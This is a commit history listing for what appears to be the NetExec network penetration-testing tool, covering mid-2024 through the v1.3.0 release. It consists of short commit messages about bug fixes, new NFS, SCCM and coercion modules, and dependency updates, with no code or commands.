Compare commits

..
343 Commits
Author SHA1 Message Date
Alex 6d4fdfdb2d Merge pull request #448 from Pennyw0rth/v1.3.0
Release v1.3.0
2024-10-13 22:02:56 +02:00
Alexander Neff a493c04e14 Release v1.3.0 2024-10-12 10:51:58 -04:00
Alex 485f72043e Merge pull request #446 from Pennyw0rth/fix-windows
Fix windows and encoding stuff
2024-10-12 16:17:58 +02:00
Alex 9e61764282 Merge pull request #447 from Pennyw0rth/neff-fix-loading-modules
Fix module loading for ssh, vnc and ftp
2024-10-12 16:12:16 +02:00
Alexander Neff 8211c33765 Fix module loading for ssh, vnc and ftp 2024-10-12 09:24:18 -04:00
Alex 8485417358 Removing unsupported option in py3.8 2024-10-12 15:07:35 +02:00
Alex c7164b6c3f Formating 2024-10-12 02:29:16 +02:00
Alex e583d5fbed Fix encoding for ldap results 2024-10-12 02:26:25 +02:00
Alex 15f84fd93d Fix encoding errors for log files etc when using non windows characters 2024-10-12 02:24:46 +02:00
Alex c2130aa67f Fix import errors for static binary 2024-10-12 02:23:41 +02:00
Alex 95ac3716d7 Merge pull request #440 from ledrypotato/fix-NFS-get-large-file
Updated the  --get-file method to get large files from NFS shares
2024-10-11 00:07:41 +02:00
Alex c1f7ed3310 Merge branch 'main' into fix-NFS-get-large-file 2024-10-11 00:01:58 +02:00
Alexander Neff a0e0df2394 Remove unused variable 2024-10-10 18:01:04 -04:00
Alexander Neff 94605f18e7 Write pulled data directly to the file instead of caching it 2024-10-10 18:00:52 -04:00
Alex d61eec0146 Merge pull request #442 from Pennyw0rth/neff-improve-coerce_plus
Small fixes for coerce_plus
2024-10-10 23:51:29 +02:00
Alex b59d8238f5 Merge pull request #400 from dazzgt/bugfix/db-interface-error
refactoring to fix InterfaceError of DB
2024-10-10 23:51:04 +02:00
Alexander Neff 83a16b654b Fix PrinterBug detection 2024-10-10 17:40:13 -04:00
Alexander Neff 3ce7b6b37a Readd rpc message to success message 2024-10-10 17:39:58 -04:00
Alexander Neff b81ea6cb3a Simplify code 2024-10-10 15:25:00 -04:00
Alexander Neff a7141ae6f3 Improve handling of rpc errors for dfscoerce 2024-10-10 15:18:09 -04:00
Alex 0da4cf8455 Merge pull request #300 from lodos2005/main
Add coerce_plus Module
2024-10-10 13:24:54 +02:00
Matt Taylor e4a9352379 clean file size + implement EOF file read 2024-10-10 12:27:18 +02:00
ledrypotato 7a86d0f045 update get-file method to get large files 2024-10-09 16:50:10 +02:00
Alexander Neff dadeff939d Fix NFS database to usethe new super class 2024-10-06 15:29:15 -04:00
Alexander Neff a3bc425e9f Fix merging error 2024-10-06 15:28:34 -04:00
Alex c1780a1a26 Merge pull request #411 from Pennyw0rth/neff-improve-login
Increase plaintext&hash login speeds
2024-10-06 21:20:05 +02:00
Alexander Neff 50a5b6b0de Merge branch 'main' into fix-dbs 2024-10-06 13:01:34 -04:00
Alexander Neff a4ad6895c1 Formating 2024-10-06 11:26:50 -04:00
Alex 43da2afa58 Merge pull request #435 from Pennyw0rth/neff-improve-testsuite
Improve test suite
2024-10-05 21:55:40 +02:00
Alexander Neff c1589955fd Add 2 error codes that shows a successful coercion 2024-10-05 12:21:59 -04:00
Alexander Neff 5a0f1a5a6a Change help message from NFS to get in line with other protocols 2024-10-05 09:18:15 -04:00
Alexander Neff 0dcfc7399b Add an option to show commands that produced no output as "not tested" 2024-10-04 17:07:28 -04:00
Alexander Neff 567b2bf7cc Fix spelling which prevented commands to be run by the test suite 2024-10-04 17:06:51 -04:00
Alexander Neff ed0187391c Remove domain from not implemented plaintext login to fix protocols with no auth and no domain 2024-10-04 17:06:26 -04:00
Alex 092a14f1fe Merge pull request #434 from Pennyw0rth/neff-fix-pwned-label
Fix pwned label when brute forcing with guest account enabled
2024-10-04 22:55:00 +02:00
Alexander Neff 6fa13820dc Fix pwned label when brute forcing with guest account enabled 2024-10-04 16:22:37 -04:00
Alexander Neff 85b2b6e084 Add --use-kcache to commands that require a new conn object 2024-10-04 16:11:02 -04:00
Alex 754ca2d423 Merge pull request #404 from tiyeuse/main
Add file write check on smb
2024-10-04 17:43:00 +02:00
Alexander Neff f17a61f531 Change write privs of a share to True if we can either create a file OR a directory 2024-10-04 11:34:52 -04:00
Alex e1c66357d6 Merge pull request #433 from Pennyw0rth/neff-fix-database-creation
Fix a bug with the databases when a new protocol is added
2024-10-04 17:13:28 +02:00
Alexander Neff c2dfa67c6c Fix a bug with the databases when a new protocol is added 2024-10-04 10:58:59 -04:00
Alex 27313a00b6 Merge pull request #366 from termanix/NFS-Protocol
New Protocol NFS
2024-10-03 16:10:55 +02:00
Alexander Neff 90cc0e57d7 Formating 2024-10-02 17:56:27 -04:00
Pavel Redyukov 7729139d10 Merge branch 'main' into bugfix/db-interface-error 2024-10-02 14:10:26 +03:00
termanix 41681ee1cb Fixed put-file
Signed-off-by: termanix <[email protected]>
2024-10-02 13:43:42 +03:00
termanix bbb9d15e66 e2e editted
Signed-off-by: termanix <[email protected]>
2024-10-02 09:11:42 +03:00
Alexander Neff 4ea4b5f961 Merge "main" into "NFS-Protocol" 2024-10-01 18:14:44 -04:00
Alexander Neff 998b8787a6 Change arg help 2024-10-01 17:59:24 -04:00
Alexander Neff b5f9e131ee Add error handling for upload, fix permissions for upload and fix upload for windows 2024-10-01 17:43:45 -04:00
Alexander Neff f396ff0b66 Simplify code 2024-10-01 16:39:07 -04:00
termanix 1eafa319bc fixed and done get-file for windows and linux
Signed-off-by: termanix <[email protected]>
2024-10-01 17:30:14 +03:00
Alexander Neff c1308e6186 Fix local file name 2024-09-30 19:04:33 -04:00
Alexander Neff e737dd6aca Remove unused function, fix uid detection, add comments and simplify code 2024-09-30 18:50:58 -04:00
Alexander Neff 555347752a Fix bug with uid and uid autodetection 2024-09-30 18:49:33 -04:00
termanix f95b9354b7 Renamed get file dispay name
Signed-off-by: termanix <[email protected]>
2024-09-30 23:06:45 +03:00
termanix 74d7d07b1f import os for downloaded files
Signed-off-by: termanix <[email protected]>
2024-09-30 23:00:00 +03:00
termanix fbfbcc3baa added get, puf file flags
Signed-off-by: termanix <[email protected]>
2024-09-30 22:53:49 +03:00
termanix 79ecfa8a4d uid-brute removed. Added get-file and put-file
Signed-off-by: termanix <[email protected]>
2024-09-30 22:52:24 +03:00
termanix 4ae6c195f0 Fixed --enum-shares UID bug and removed uid-brute on proto-args 2024-09-30 09:30:41 +03:00
Alexander Neff 62b535ea50 Rename Reachable Networks to Access List 2024-09-29 18:55:55 -04:00
Alexander Neff 84aa78898b Implementing UID autodetection, making the uid flag redundant 2024-09-29 18:43:06 -04:00
Alexander Neff 8c5b3617e8 Fix bug for insufficient permissions, remove unnecessary code and formating 2024-09-29 18:17:02 -04:00
termanix 9031589f0d Changed enum-shares default depth to 3 from 1
Signed-off-by: termanix <[email protected]>
2024-09-29 15:39:49 +03:00
termanix a877047ba2 all feature flags done with output
Signed-off-by: termanix <[email protected]>
2024-09-29 15:38:28 +03:00
Alexander Neff 6f24858dc0 Fix indents 2024-09-29 07:09:44 -04:00
Alexander Neff 1a38a288df Add share usage 2024-09-29 07:05:00 -04:00
Alex aef2675cee Merge pull request #406 from Pennyw0rth/neff-fix-mssql-log
Fix file logging for display messages
2024-09-28 23:02:57 +02:00
Alexander Neff b48f6945ae Added uid proto arg and rwx permission check for enum_shares 2024-09-28 16:59:39 -04:00
Alexander Neff 4cd46c7fd9 Separate enum_shares and uid_brute 2024-09-28 15:53:09 -04:00
Alexander Neff fadce581ef Improve code 2024-09-28 15:40:41 -04:00
Alexander Neff 1e624d8606 Add share permission enumeration 2024-09-28 15:40:28 -04:00
Alexander Neff c23db63b97 Add connection timeout option 2024-09-28 12:17:09 -04:00
Alexander Neff 6b5eb1a240 Remove plaintext_login as there is no such thing in NFS3 2024-09-28 11:57:28 -04:00
Alexander Neff e9ed46b6e0 Correct port description 2024-09-28 11:57:01 -04:00
Alexander Neff f05601f645 Use init as create_conn_obj function and improve code structure 2024-09-28 11:56:46 -04:00
Alexander Neff 8c39962dba Add generel disconnect instruction to be implemented by protocols 2024-09-28 11:47:11 -04:00
Alexander Neff ff194d3e0b Remove hardcoded nxc_path 2024-09-28 07:29:05 -04:00
Alexander Neff f47ebb3356 Add file&line number to debug file log 2024-09-28 07:13:02 -04:00
Alex 04a695ff93 Merge pull request #341 from 357384n/main
Add new SMB module to get the PowerShell history on all the users
2024-09-25 00:38:38 +02:00
Alex ac2dfc95e7 Merge pull request #422 from Pennyw0rth/neff-fix-maq
Fix maq module if MAQ not set
2024-09-24 23:56:22 +02:00
Pavel Redyukov 3b1eac7be5 refactoring to fix InterfaceError of DB 2024-09-23 15:21:48 +03:00
termanix ad1b421422 Fixed spam output while uid bruteforce
Signed-off-by: termanix <[email protected]>
2024-09-23 12:57:54 +03:00
Alexander Neff d89709feac Update PyNfsClient 2024-09-22 19:34:35 -04:00
Alexander Neff 045f2c291b Fix recursion depth 2024-09-22 19:28:28 -04:00
Alexander Neff f191f780a3 Renaming, simplifying code and adad recursion depth to share listing 2024-09-22 19:27:59 -04:00
Alexander Neff 78a270b57b Switch pynfsclient to our fork 2024-09-22 16:37:55 -04:00
Alexander Neff ee549ccae7 Add ipv6 message and formating 2024-09-21 12:46:59 -04:00
Alexander Neff e1ecf90a78 Formating 2024-09-21 12:04:55 -04:00
Alexander Neff 4e855f811f Properly add pynfsclient dependency 2024-09-21 12:04:39 -04:00
Alexander Neff 31b909b97d Check if there is a history before saving 2024-09-21 09:11:29 -04:00
Alexander Neff 5da577f5c3 Optimise export code 2024-09-21 09:06:13 -04:00
Alexander Neff bb95e0faa4 Add "passw" as keyword 2024-09-21 08:55:02 -04:00
Alexander Neff 1b4081e54c Simplify code and formatting 2024-09-21 08:54:09 -04:00
Alex 99d4e49ac1 Merge pull request #423 from Pennyw0rth/neff-patch-1 2024-09-20 09:27:08 +02:00
Alexander Neff d52a651bd4 Fix logger protocol when using --no-smb 2024-09-19 17:27:56 -04:00
Alexander Neff 6dbf14b87f Fix maq module if ms-DS-MachineAccountQuota is not set 2024-09-19 16:55:35 -04:00
Alexander Neff cea324c97b Fix escape sequence 2024-09-19 16:40:04 -04:00
Alex bb2f3ec13a Merge pull request #418 from a-urth/main
Encode delegate/impersonate user name string as utf8 unicode, not latin1
2024-09-18 23:37:57 +02:00
Alex 2eebb7c513 Merge pull request #417 from jsherwood0/make_version_arg_universal
Make --version switch universal so help2man will work properly
2024-09-18 23:25:42 +02:00
au 0dbea8e8a3 encode string as utf8 unicode, not latin1 2024-09-14 14:33:06 +03:00
root@devkali 9153779671 Make --version switch universal so help2man will work properly 2024-09-13 17:11:42 -04:00
Alex e927f33f2b Merge pull request #407 from r4vanan/main
Smbghost scanning module
2024-09-03 01:19:44 +02:00
Alexander Neff 6e5929175c Make description more precise 2024-09-02 18:52:56 -04:00
Alexander Neff ea9acdcb40 Fix ruff linting 2024-09-02 16:51:43 -04:00
Alex 7657f9603a Merge pull request #342 from Kahvi-0/main
schtask_as Improvement - Options for custom task, file, and location.
2024-09-02 00:44:56 +02:00
Alexander Neff 0175be7b08 Added example path and os.path.join for flexibility 2024-09-01 18:38:56 -04:00
Alex 9cc44f65e7 Merge pull request #306 from jubeaz/module_wcc_add_defender
Module wcc added some defender checks
2024-09-01 21:45:09 +02:00
Vinoth Kumar 2744a2c4ed Merge branch 'Pennyw0rth:main' into main 2024-09-01 20:18:27 +05:30
Vinoth Kumar b771c28b51 removed unwanted code
Signed-off-by: Vinoth Kumar <[email protected]>
2024-09-01 20:17:54 +05:30
Alexander Neff 7070305e6c Add faster login for kerberos 2024-09-01 07:28:30 -04:00
Alexander Neff cafa670113 Create new connection object if we want to log in 2024-09-01 07:28:02 -04:00
Alex e14be335c3 Merge pull request #393 from Pennyw0rth/neff-fix-kerberos
Fix issues with kerberos and non NTLM domains
2024-09-01 12:44:29 +02:00
Vinoth Kumar 3fd8598389 Merge branch 'Pennyw0rth:main' into main 2024-08-31 09:54:11 +05:30
Alexander Neff 425ad8ea23 Remove unnecessary new line 2024-08-30 14:18:14 -04:00
Alex 45a9121bb1 Merge pull request #328 from Shad0wC0ntr0ller/pre2k
Identify Pre-Created Computer Accounts
2024-08-30 20:09:18 +02:00
Alexander Neff e4b7ea64eb Increase plaintext&hash login speeds, also only evaluate smbv1 at initialisaion 2024-08-29 18:58:06 -04:00
Alex 9bc05e55ee Merge pull request #394 from Pennyw0rth/neff-workflows
Updated github workflows
2024-08-29 14:26:25 +02:00
Alexander Neff 0034048da4 Simplify code 2024-08-28 17:34:56 -04:00
Alex e7acdc78e1 Merge pull request #409 from cauan/patch-2
ldap-checker.py Catch connection errors
2024-08-27 23:59:12 +02:00
Alexander Neff 35b4c4c63d Fix logging and improve reason text 2024-08-27 17:55:07 -04:00
Alexander Neff dfb28184a8 Improve config text 2024-08-27 17:54:49 -04:00
Alexander Neff 4a776651c1 Formating 2024-08-27 17:35:59 -04:00
Alexander Neff 1c19cbe836 Integrate new registry checks into existing code 2024-08-27 17:35:42 -04:00
Alex 62496a3863 Merge pull request #408 from cauan/patch-1
ldap-checker.py false positive fixed
2024-08-27 22:02:55 +02:00
Cauan 4a0f0381a6 Update ldap-checker.py
Changed catch all exception as suggesteed.

Signed-off-by: Cauan <[email protected]>
2024-08-27 14:32:41 +10:00
Cauan 34ac854a3c ldap-checker.py Catch connection errors
Socket connection moved into the try/catch to catch connection errors.

Signed-off-by: Cauan <[email protected]>
2024-08-26 22:10:46 +10:00
Cauan 2de896cb49 ldap-checker.py false positive fixed
run_ldap return code changed from False to None when errors are found to avoid false positives such as when connection fails.

Signed-off-by: Cauan <[email protected]>
2024-08-26 21:59:10 +10:00
Vinoth Kumar 821f20e114 Merge branch 'main' into main 2024-08-26 09:16:34 +05:30
Alexander Neff 43c1d33904 Replaced DEPRECATED with REMOVED 2024-08-25 13:36:16 -04:00
Alexander Neff 24ad5e63e2 Readd old coercion modules for deprecation warning 2024-08-25 13:34:26 -04:00
Alexander Neff 2ac0d4d543 Merge "main" into "coerce_plus" 2024-08-25 13:17:38 -04:00
Alexander Neff 4ac77486d0 Formating 2024-08-25 13:12:15 -04:00
Alexander Neff 2419d2d4d8 Fix MSEven pipe and add ports 2024-08-25 13:09:21 -04:00
Alex f9d3caab63 Merge pull request #399 from Pennyw0rth/NeffIsBack-patch-1
Add Unix availability to README.md
2024-08-25 16:28:24 +02:00
Vinoth Kumar 0cc6151a0b Smbghost module
Module to scan for SMBGhost (CVE-2020-0796) Vulnerability

Signed-off-by: Vinoth Kumar <[email protected]>
2024-08-25 19:45:57 +05:30
Alexander Neff cd9e1adcfd Delete log level filter for file logging 2024-08-25 09:46:12 -04:00
wil 675480c5ca Add file write check on smb 2024-08-24 19:45:52 +02:00
Alexander Neff ee9409a387 Revert 0ca3c43 as this stops some messages from getting logged to file 2024-08-24 08:50:48 -04:00
Alexander Neff f9799496ac Change README 2024-08-24 07:59:47 -04:00
Alex 83514bf2a9 Merge pull request #374 from joaovarelas/main
Add module to lookup hostname of Hyper-V host - 'hyperv-host.py'
2024-08-24 13:37:47 +02:00
Alexander Neff b9d788b8d4 Change Exception to DCERPCException and added debug log 2024-08-15 13:36:50 -04:00
joaovarelas b59f252363 Merge branch 'Pennyw0rth:main' into main 2024-08-11 11:12:32 +01:00
Alex db4c2fad2b Add Unix availability to README.md
Signed-off-by: Alex <[email protected]>
2024-08-10 23:21:28 +02:00
Alexander Neff 375611cfd5 Add another success rpc error message 2024-08-04 19:02:04 -04:00
Alexander Neff 96bff4e3aa Added ERROR_BAD_NETPATH to the positiv result list 2024-08-04 18:41:54 -04:00
Alexander Neff d82ee41d5b Remove auth_level as this breaks the coercion 2024-08-04 18:41:27 -04:00
Alexander Neff af4a28d9b9 Enable manual linting runs for first time PRs 2024-08-04 16:47:56 -04:00
Alexander Neff 5810d14038 Updated pipeline to latest versions 2024-08-04 16:47:41 -04:00
Alex 739791e33b Merge pull request #392 from Pennyw0rth/neff-fix-spider_plus
Fix spider_plus bug where len was applied to the count not an array
2024-08-04 22:38:27 +02:00
Alex e982a68b44 Merge pull request #386 from Pennyw0rth/neff-sccm
Adding SCCM LDAP Reconnaissance to NetExec
2024-08-03 19:06:09 +02:00
Alexander Neff 66da98c318 Fix laps login with kerberos 2024-08-03 10:01:55 -04:00
Alexander Neff 069fb908b0 Fix issues where we need kerberos authentication logic, but implicitely use kerberos (e.g. --use-kcache) 2024-08-03 08:44:36 -04:00
Alexander Neff 1292f0f8fb Fix spider_plus bug where len was applied to the count not an array 2024-08-02 11:57:09 -04:00
Alex f8ac2e1ff1 Merge pull request #391 from glefait/patch-1
Fix: module spider_plus with filtered folders
2024-08-02 17:42:59 +02:00
Guillem Lefait 1839c0cb4c Fix: module spider_plus with filtered folders
With option to filter folders is set and a folder matches the filter, there is a typo in the incremented counter.

The counter should be ` self.stats[f"num_{result_type}s_filtered"]`  and not `self.stats[f"{result_type}s_filtered"]`.

The latter does not exists and trigger the following error:
```
KeyError: 'folders_filtered'
```

Signed-off-by: Guillem Lefait <[email protected]>
2024-08-01 11:01:16 -04:00
Alex e76d4e98fe Merge pull request #390 from Pennyw0rth/neff-fix-mssql_priv
Fix admin check in mssql_priv
2024-08-01 14:45:01 +02:00
joaovarelas 506486fa62 Merge branch 'Pennyw0rth:main' into main 2024-07-31 08:57:51 +00:00
Alex a28c441ae2 Merge pull request #378 from nikaiw/check_admin_false_positive
Fix check admin false positive on certain target (e.g Netapp)
2024-07-28 19:59:29 +02:00
Alexander Neff 3db14d4de4 Formating 2024-07-28 12:49:35 -04:00
Alexander Neff 6afb8bba0b Adding rpc auth level 2024-07-28 12:46:59 -04:00
Alexander Neff 7bb04c92b1 Formating 2024-07-27 18:05:17 -04:00
Alex 80d03ad3ee Merge pull request #387 from Pennyw0rth/neff-fix-netbios
Stop NetBiosTimeout and error producing large stack traces
2024-07-27 20:52:09 +02:00
joaovarelas b4612ea38c trycatch and suppress errors mod hyperv-host.py 2024-07-27 19:05:59 +01:00
joaovarelas 11983af3fb Merge branch 'Pennyw0rth:main' into main 2024-07-27 17:46:23 +00:00
Alexander Neff 41a21ee838 Fix admin check in mssql_priv 2024-07-27 10:59:38 -04:00
Alex c0adbf1eb8 Merge pull request #389 from 3ldidi94/patch-1
Update handlekatz.py pypykatz import
2024-07-27 15:31:41 +02:00
3ldidi94 41b8fbb715 Update handlekatz.py
Fix pypykatz import in handlekatz

Signed-off-by: 3ldidi94 <[email protected]>
2024-07-27 13:31:20 +02:00
Alexander Neff 4504cf29d0 Add comment 2024-07-26 17:06:35 -04:00
Alexander Neff 693da7120b Stop NetBiosTimeout and error producing large stack traces 2024-07-26 16:59:48 -04:00
Alexander Neff 413e5cd5d0 Fix display bug with ip and add creds to sccmhunter 2024-07-26 15:38:31 -04:00
Alexander Neff f18c442a10 Finish SCCM string enumeration 2024-07-26 13:12:06 -04:00
zblurx 548b6d0c28 Merge pull request #384 from Pennyw0rth/zblurx-patch-1
Update dploot to 2.7.4 in pyproject.toml
2024-07-25 18:08:00 +02:00
zblurx 7b3145e6ec udpate poetry.lock 2024-07-25 17:58:15 +02:00
zblurx 0234219daa Update dploot to 2.7.4 in pyproject.toml
Signed-off-by: zblurx <[email protected]>
2024-07-25 17:47:58 +02:00
Alex cb639c8854 Merge pull request #295 from Adamkadaban/dumpSecurityQuestionsModule
add new security-questions module
2024-07-23 20:24:07 +02:00
Alexander Neff 74dcef77ce Add CAS attribute 2024-07-21 06:06:41 -04:00
Alexander Neff 21515206b4 Improve code readability 2024-07-20 17:34:49 -04:00
Alexander Neff b9882167a3 Finish SCCM basic enumeration 2024-07-20 17:24:15 -04:00
NK 703191308a Fix check admin false positive on certain target (e.g Netapp) 2024-07-20 22:00:06 +02:00
joaovarelas f54deff68e edited reg query fail msgs 2024-07-20 14:29:04 +01:00
joaovarelas 43da81861f Merge branch 'Pennyw0rth:main' into main 2024-07-20 14:27:30 +01:00
Alex 398716de24 Merge pull request #376 from Pennyw0rth/neff-patch-2
Add try&except block for DCERPCExceptions to fix #373
2024-07-19 23:37:49 +02:00
Alexander Neff 4cb3b417d6 Resolve all computer dns_hostnames of all sids that have full controle over the sccm object 2024-07-19 16:51:57 -04:00
Alex a1ca2697e3 Merge branch 'main' into neff-patch-2 2024-07-19 19:21:31 +02:00
Alex 8ed41498ff Merge pull request #375 from Pennyw0rth/neff-patch-1
Fix ruff linting
2024-07-19 19:21:12 +02:00
Alexander Neff ab0af5ab4a Add try&except block for DCERPCExceptions and updated module 2024-07-19 12:27:24 -04:00
Alexander Neff 6651fb0698 Fix ruff linting 2024-07-19 12:11:58 -04:00
Alex 1839f7a5ac Merge pull request #372 from Kamuno/fix-nla-format
Fixed nla detection and error format string
2024-07-19 18:07:57 +02:00
joaovarelas 8a6fb7c67a add module hyperv-host.py 2024-07-19 16:25:39 +01:00
Christopher Beckmann a1c57ee8d2 Fixed nla detection and error format string 2024-07-19 15:43:03 +02:00
Alexander Neff 280baadf07 Add try&except block for every user so we continue if the first fails 2024-07-18 18:39:45 -04:00
Alexander Neff 766ef1e81e Update impacket 2024-07-18 18:26:56 -04:00
Alex 5ae4134ab7 Merge branch 'main' into dumpSecurityQuestionsModule 2024-07-19 00:25:54 +02:00
Alexander Neff 2575bce0d6 Swap bbreak with continue as we would only query the first user if he hasnt security questions 2024-07-18 18:23:59 -04:00
Alex 3a5c109fed Merge pull request #371 from termanix/patch-5 2024-07-18 09:46:21 +02:00
termanix 5b186f4295 Update enum_av Added Trellix EDR
Signed-off-by: termanix <[email protected]>
2024-07-17 22:58:26 +03:00
termanix e0faaf3dbf Changed uid-brute for to keep consistency with SMB 2024-07-09 09:35:09 +03:00
termanix d071631c1a Update e2e_commands.txt - bruteforceuid added
Signed-off-by: termanix <[email protected]>
2024-07-08 18:26:49 +03:00
termanix 59b6bf8f76 Update proto_args.py
Signed-off-by: termanix <[email protected]>
2024-07-08 18:13:15 +03:00
termanix 7e52f8da69 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-07-08 17:08:39 +03:00
Alex 54cad53328 Merge pull request #365 from Pennyw0rth/neff-patch-1
Remove message that could be too annoying
2024-07-06 13:34:28 +02:00
Alexander Neff e96c301721 Change fail log to debug 2024-07-06 07:04:50 -04:00
Alexander Neff 3c64d27c68 Remove message that could be too annoying 2024-07-06 06:49:40 -04:00
mpgn 71cb5e99ef Merge pull request #361 from Pennyw0rth/dcom_fix
Fix mmcexec method thanks to @ippsec AND a lot of other small things
2024-07-06 12:11:36 +02:00
Alexander Neff d036fa8c04 Fix kerberos authentication when NTLM is not available 2024-07-05 21:15:29 -04:00
Alexander Neff fbf2546172 Fix laps login with kerberos 2024-07-05 18:18:57 -04:00
Alexander Neff abb5f1d99a Simplify error log 2024-07-05 15:55:41 -04:00
Alexander Neff d9ce9e9b62 Remove unused import and simplify addition 2024-07-04 13:55:38 -04:00
Alexander Neff 4045bb4185 Deactivate kerberos auth when retrieved laps creds 2024-07-04 13:50:37 -04:00
Alexander Neff 9d8eeb80e1 Update lsassy to 3.1.12 2024-07-04 12:56:41 -04:00
mpgn f17ea75de3 fix ruff 2024-07-04 18:19:36 +02:00
mpgn 18369b1739 Remove ntlm hash for laps (as not compatible with py10) + add dns_server option to laps 2024-07-04 18:12:12 +02:00
mpgn 3c89bcb19a remove array (not great with a lot of users on the domain 2024-07-03 23:44:16 +02:00
mpgn 68c827dcf6 add try catch on db 2024-07-03 14:47:56 +02:00
mpgn eb6be54ff1 fix kerberos support is not ntlm supported with fqdn machine name 2024-07-03 12:35:57 +02:00
mpgn 852e7819e5 fix ruff test 2024-07-02 23:44:58 +02:00
mpgn 42ce37d231 if ntlm not supported (only kerberos) big big stacktrace 2024-07-02 22:10:08 +02:00
mpgn 63e8295c46 if ldap connection failed when getting info, there is no need to continue to auth 2024-07-02 20:48:59 +02:00
mpgn b86f675100 fix wrong return in loop 2024-07-02 17:11:56 +02:00
Alex ccbeb4e402 Merge pull request #357 from termanix/patch-3
Small Bug Fix on Listing SMB Shares with Kerberos Auth
2024-07-02 17:01:19 +02:00
Alexander Neff 64e78fd7cd Fixing shares function with kerberos and minor database stuff 2024-07-02 10:56:59 -04:00
Alex d8f0f41d76 Merge pull request #364 from termanix/patch-4
Bug Fix While Using Bloodhound with --use-kcache Issue #363
2024-07-02 16:43:53 +02:00
Alexander Neff 9f3a77c2ab Fix missing colon 2024-07-02 10:26:58 -04:00
termanix 63f2d6943d Update ldap.py
swapped the execution&logging lines. For if there is an error on auth file

Signed-off-by: termanix <[email protected]>
2024-07-02 17:23:07 +03:00
termanix c83895697f Bug Fix While Using Bloodhound with --use-kcache Issue #363
Signed-off-by: termanix <[email protected]>
2024-07-02 17:05:34 +03:00
mpgn 98236804ab fix stacktrace with logger 2024-07-02 15:21:32 +02:00
Alexander Neff f9b61391ca Add logging statement to dcom connection 2024-07-02 07:33:56 -04:00
Alexander Neff 5b931d0cfa Fix add-computer if domain could not be resolved 2024-07-01 17:32:15 -04:00
Adamkadaban 0d5ac4e59e fix find/replace nonsense 2024-06-30 18:07:55 -07:00
Adamkadaban 45e1f0815f make variable names pythonic 2024-06-30 17:54:39 -07:00
Adam Hassan 21b1cfbb8c Merge branch 'Pennyw0rth:main' into dumpSecurityQuestionsModule 2024-06-30 17:49:55 -07:00
Alexander Neff 018ad9dbe7 Working on SCCM enumeration 2024-06-30 20:25:22 -04:00
Alexander Neff 1f83e6393f Fix bug where ldap parser would not parse all values of an attribute containing a list 2024-06-30 20:25:06 -04:00
mpgn da088d9e60 fix args with bloodhound (report from discord) 2024-06-30 17:50:56 -04:00
mpgn ce31e24111 add double quote 2024-06-30 17:38:35 -04:00
mpgn aab22cf4bc update require_admin 2024-06-30 17:33:55 -04:00
mpgn 6e391cad46 fix mmcexec method thanks to @ippsec 2024-06-30 17:00:16 -04:00
Alexander Neff 5f45bfcf37 Working on sccm recon 2024-06-28 12:10:22 -04:00
Alexander Neff 592793c718 Add missing requires_admin 2024-06-28 12:10:13 -04:00
termanix 5983b86b52 Small Bug Fix on Listing SMB Shares with Kerberos Auth
This is a bug I came across while working with Kerberos on another project.  If the information of the user in the ticket is not in the database, it gives an index error cause of user_id is empty. I thought about adding the ticket information as user_id, but since it wouldn't have any meaning when it expired, I proceeded with pass.


Signed-off-by: termanix <[email protected]>
2024-06-25 18:51:32 +03:00
termanix 449f556dc1 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-25 16:05:38 +03:00
Alex 669a55fd98 Merge pull request #356 from Pennyw0rth/neff-fix-332 2024-06-25 00:26:55 +02:00
Alex ead02d812e Merge pull request #286 from termanix/New_Module_Bitlocker 2024-06-25 00:23:44 +02:00
Alex cce5c32eb1 Merge pull request #293 from Sant0rryu/main 2024-06-24 00:37:59 +02:00
Alex b0b4641724 Merge pull request #355 from bfnserra/patch-1 2024-06-24 00:36:37 +02:00
Alexander Neff 8bbab764c5 Change execution to cmd and fix bugs 2024-06-23 18:18:39 -04:00
Alexander Neff 4f5453ee09 Merge branch 'main' into bitlocker 2024-06-23 17:51:37 -04:00
Alexander Neff 9d32ea0a2b Add exception handling to prevent crashes against linux hosts 2024-06-23 13:54:48 -04:00
termanix b9d73524ee Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-22 16:39:55 +03:00
Nicolas Serra e50f7acbd5 Update pso.py
Fix Typo (obersationWindow to observationWindow)

Signed-off-by: Nicolas Serra <[email protected]>
2024-06-21 19:12:03 +02:00
Alex ada4905922 Merge pull request #354 from aelmosalamy/patch-1
fix: little typo in help args
2024-06-20 00:51:53 +02:00
Adham Elmosalamy e13ec2776e fix: little typo in help args
Signed-off-by: Adham Elmosalamy <[email protected]>
2024-06-20 01:30:30 +04:00
jubeaz 073938f67a merge from main 2024-06-19 08:02:21 +02:00
Lodos2005 2ec51902a3 Add coerce_plus Module 2024-06-18 19:00:12 +03:00
Kahvi-0xFF 755113d3c7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 447bded268 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF e7689542f2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF cf8c1b19ca Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 27caff59d5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 19ea1bc559 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 73b35eb0ea Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF d5bb6d9606 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 1e90103b4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Sébastien Miguel 5ccf0d3553 Update powershell_history.py
add description to module option

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 8132bf73d3 Update powershell_history.py
Add the path to output file in the output

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 1105dcdf52 Update powershell_history.py
Add export feature and some keywords

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel bfed3d462b Create powershell_history.py
First commit 

Signed-off-by: Sébastien Miguel <[email protected]>
